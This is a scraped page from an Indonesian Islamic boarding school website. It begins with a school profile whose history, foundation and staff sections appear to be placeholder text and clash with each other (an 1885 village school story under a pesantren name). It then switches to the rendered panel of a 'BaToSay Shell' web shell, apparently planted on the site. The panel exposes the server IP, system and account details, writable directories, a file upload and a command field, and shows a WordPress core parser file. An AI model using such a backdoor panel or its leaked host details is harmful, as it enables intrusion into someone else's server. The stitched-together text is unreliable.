Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 18.118.137.57
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/class-wp-block-parser.php
<?php
/**
 * Block Serialization Parser
 *
 * @package WordPress
 */

/**
 * Class WP_Block_Parser
 *
 * Parses a document and constructs a list of parsed block objects
 *
 * @since 5.0.0
 * @since 4.0.0 returns arrays not objects, all attributes are arrays
 */
class WP_Block_Parser {
	/**
	 * Input document being parsed
	 *
	 * @example "Pre-text\n<!-- wp:paragraph -->This is inside a block!<!-- /wp:paragraph -->"
	 *
	 * @since 5.0.0
	 * @var string
	 */
	public $document;

	/**
	 * Tracks parsing progress through document
	 *
	 * @since 5.0.0
	 * @var int
	 */
	public $offset;

	/**
	 * List of parsed blocks
	 *
	 * @since 5.0.0
	 * @var WP_Block_Parser_Block[]
	 */
	public $output;

	/**
	 * Stack of partially-parsed structures in memory during parse
	 *
	 * @since 5.0.0
	 * @var WP_Block_Parser_Frame[]
	 */
	public $stack;

	/**
	 * Parses a document and returns a list of block structures
	 *
	 * When encountering an invalid parse will return a best-effort
	 * parse. In contrast to the specification parser this does not
	 * return an error on invalid inputs.
	 *
	 * @since 5.0.0
	 *
	 * @param string $document Input document being parsed.
	 * @return array[]
	 */
	public function parse( $document ) {
		$this->document = $document;
		$this->offset   = 0;
		$this->output   = array();
		$this->stack    = array();

		while ( $this->proceed() ) {
			continue;
		}

		return $this->output;
	}

	/**
	 * Processes the next token from the input document
	 * and returns whether to proceed eating more tokens
	 *
	 * This is the "next step" function that essentially
	 * takes a token as its input and decides what to do
	 * with that token before descending deeper into a
	 * nested block tree or continuing along the document
	 * or breaking out of a level of nesting.
	 *
	 * @internal
	 * @since 5.0.0
	 * @return bool
	 */
	public function proceed() {
		$next_token = $this->next_token();
		list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token;
		$stack_depth = count( $this->stack );

		// we may have some HTML soup before the next block.
		$leading_html_start = $start_offset > $this->offset ? $this->offset : null;

		switch ( $token_type ) {
			case 'no-more-tokens':
				// if not in a block then flush output.
				if ( 0 === $stack_depth ) {
					$this->add_freeform();
					return false;
				}

				/*
				 * Otherwise we have a problem
				 * This is an error
				 *
				 * we have options
				 * - treat it all as freeform text
				 * - assume an implicit closer (easiest when not nesting)
				 */

				// for the easy case we'll assume an implicit closer.
				if ( 1 === $stack_depth ) {
					$this->add_block_from_stack();
					return false;
				}

				/*
				 * for the nested case where it's more difficult we'll
				 * have to assume that multiple closers are missing
				 * and so we'll collapse the whole stack piecewise
				 */
				while ( 0 < count( $this->stack ) ) {
					$this->add_block_from_stack();
				}
				return false;

			case 'void-block':
				/*
				 * easy case is if we stumbled upon a void block
				 * in the top-level of the document
				 */
				if ( 0 === $stack_depth ) {
					if ( isset( $leading_html_start ) ) {
						$this->output[] = (array) $this->freeform(
							substr(
								$this->document,
								$leading_html_start,
								$start_offset - $leading_html_start
							)
						);
					}

					$this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() );
					$this->offset   = $start_offset + $token_length;
					return true;
				}

				// otherwise we found an inner block.
				$this->add_inner_block(
					new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
					$start_offset,
					$token_length
				);
				$this->offset = $start_offset + $token_length;
				return true;

			case 'block-opener':
				// track all newly-opened blocks on the stack.
				array_push(
					$this->stack,
					new WP_Block_Parser_Frame(
						new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
						$start_offset,
						$token_length,
						$start_offset + $token_length,
						$leading_html_start
					)
				);
				$this->offset = $start_offset + $token_length;
				return true;

			case 'block-closer':
				/*
				 * if we're missing an opener we're in trouble
				 * This is an error
				 */
				if ( 0 === $stack_depth ) {
					/*
					 * we have options
					 * - assume an implicit opener
					 * - assume _this_ is the opener
					 * - give up and close out the document
					 */
					$this->add_freeform();
					return false;
				}

				// if we're not nesting then this is easy - close the block.
				if ( 1 === $stack_depth ) {
					$this->add_block_from_stack( $start_offset );
					$this->offset = $start_offset + $token_length;
					return true;
				}

				/*
				 * otherwise we're nested and we have to close out the current
				 * block and add it as a new innerBlock to the parent
				 */
				$stack_top                        = array_pop( $this->stack );
				$html                             = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset );
				$stack_top->block->innerHTML     .= $html;
				$stack_top->block->innerContent[] = $html;
				$stack_top->prev_offset           = $start_offset + $token_length;

				$this->add_inner_block(
					$stack_top->block,
					$stack_top->token_start,
					$stack_top->token_length,
					$start_offset + $token_length
				);
				$this->offset = $start_offset + $token_length;
				return true;

			default:
				// This is an error.
				$this->add_freeform();
				return false;
		}
	}

	/**
	 * Scans the document from where we last left off
	 * and finds the next valid token to parse if it exists
	 *
	 * Returns the type of the find: kind of find, block information, attributes
	 *
	 * @internal
	 * @since 5.0.0
	 * @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments
	 * @return array
	 */
	public function next_token() {
		$matches = null;

		/*
		 * aye the magic
		 * we're using a single RegExp to tokenize the block comment delimiters
		 * we're also using a trick here because the only difference between a
		 * block opener and a block closer is the leading `/` before `wp:` (and
		 * a closer has no attributes). we can trap them both and process the
		 * match back in PHP to see which one it was.
		 */
		$has_match = preg_match(
			'/<!--\s+(?P<closer>\/)?wp:(?P<namespace>[a-z][a-z0-9_-]*\/)?(?P<name>[a-z][a-z0-9_-]*)\s+(?P<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*+)?}\s+)?(?P<void>\/)?-->/s',
			$this->document,
			$matches,
			PREG_OFFSET_CAPTURE,
			$this->offset
		);

		// if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE.
		if ( false === $has_match ) {
			return array( 'no-more-tokens', null, null, null, null );
		}

		// we have no more tokens.
		if ( 0 === $has_match ) {
			return array( 'no-more-tokens', null, null, null, null );
		}

		list( $match, $started_at ) = $matches[0];

		$length    = strlen( $match );
		$is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1];
		$is_void   = isset( $matches['void'] ) && -1 !== $matches['void'][1];
		$namespace = $matches['namespace'];
		$namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/';
		$name      = $namespace . $matches['name'][0];
		$has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1];

		/*
		 * Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays
		 * are associative arrays. If we use `array()` we get a JSON `[]`
		 */
		$attrs = $has_attrs
			? json_decode( $matches['attrs'][0], /* as-associative */ true )
			: array();

		/*
		 * This state isn't allowed
		 * This is an error
		 */
		if ( $is_closer && ( $is_void || $has_attrs ) ) {
			// we can ignore them since they don't hurt anything.
		}

		if ( $is_void ) {
			return array( 'void-block', $name, $attrs, $started_at, $length );
		}

		if ( $is_closer ) {
			return array( 'block-closer', $name, null, $started_at, $length );
		}

		return array( 'block-opener', $name, $attrs, $started_at, $length );
	}

	/**
	 * Returns a new block object for freeform HTML
	 *
	 * @internal
	 * @since 3.9.0
	 *
	 * @param string $inner_html HTML content of block.
	 * @return WP_Block_Parser_Block freeform block object.
	 */
	public function freeform( $inner_html ) {
		return new WP_Block_Parser_Block( null, array(), array(), $inner_html, array( $inner_html ) );
	}

	/**
	 * Pushes a length of text from the input document
	 * to the output list as a freeform block.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param null $length how many bytes of document text to output.
	 */
	public function add_freeform( $length = null ) {
		$length = $length ? $length : strlen( $this->document ) - $this->offset;

		if ( 0 === $length ) {
			return;
		}

		$this->output[] = (array) $this->freeform( substr( $this->document, $this->offset, $length ) );
	}

	/**
	 * Given a block structure from memory pushes
	 * a new block to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param WP_Block_Parser_Block $block        The block to add to the output.
	 * @param int                   $token_start  Byte offset into the document where the first token for the block starts.
	 * @param int                   $token_length Byte length of entire block from start of opening token to end of closing token.
	 * @param int|null              $last_offset  Last byte offset into document if continuing form earlier output.
	 */
	public function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) {
		$parent                       = $this->stack[ count( $this->stack ) - 1 ];
		$parent->block->innerBlocks[] = (array) $block;
		$html                         = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset );

		if ( ! empty( $html ) ) {
			$parent->block->innerHTML     .= $html;
			$parent->block->innerContent[] = $html;
		}

		$parent->block->innerContent[] = null;
		$parent->prev_offset           = $last_offset ? $last_offset : $token_start + $token_length;
	}

	/**
	 * Pushes the top block from the parsing stack to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML.
	 */
	public function add_block_from_stack( $end_offset = null ) {
		$stack_top   = array_pop( $this->stack );
		$prev_offset = $stack_top->prev_offset;

		$html = isset( $end_offset )
			? substr( $this->document, $prev_offset, $end_offset - $prev_offset )
			: substr( $this->document, $prev_offset );

		if ( ! empty( $html ) ) {
			$stack_top->block->innerHTML     .= $html;
			$stack_top->block->innerContent[] = $html;
		}

		if ( isset( $stack_top->leading_html_start ) ) {
			$this->output[] = (array) $this->freeform(
				substr(
					$this->document,
					$stack_top->leading_html_start,
					$stack_top->token_start - $stack_top->leading_html_start
				)
			);
		}

		$this->output[] = (array) $stack_top->block;
	}
}

/**
 * WP_Block_Parser_Block class.
 *
 * Required for backward compatibility in WordPress Core.
 */
require_once __DIR__ . '/class-wp-block-parser-block.php';

/**
 * WP_Block_Parser_Frame class.
 *
 * Required for backward compatibility in WordPress Core.
 */
require_once __DIR__ . '/class-wp-block-parser-frame.php';

Batosay - 2023
IDNSEO Team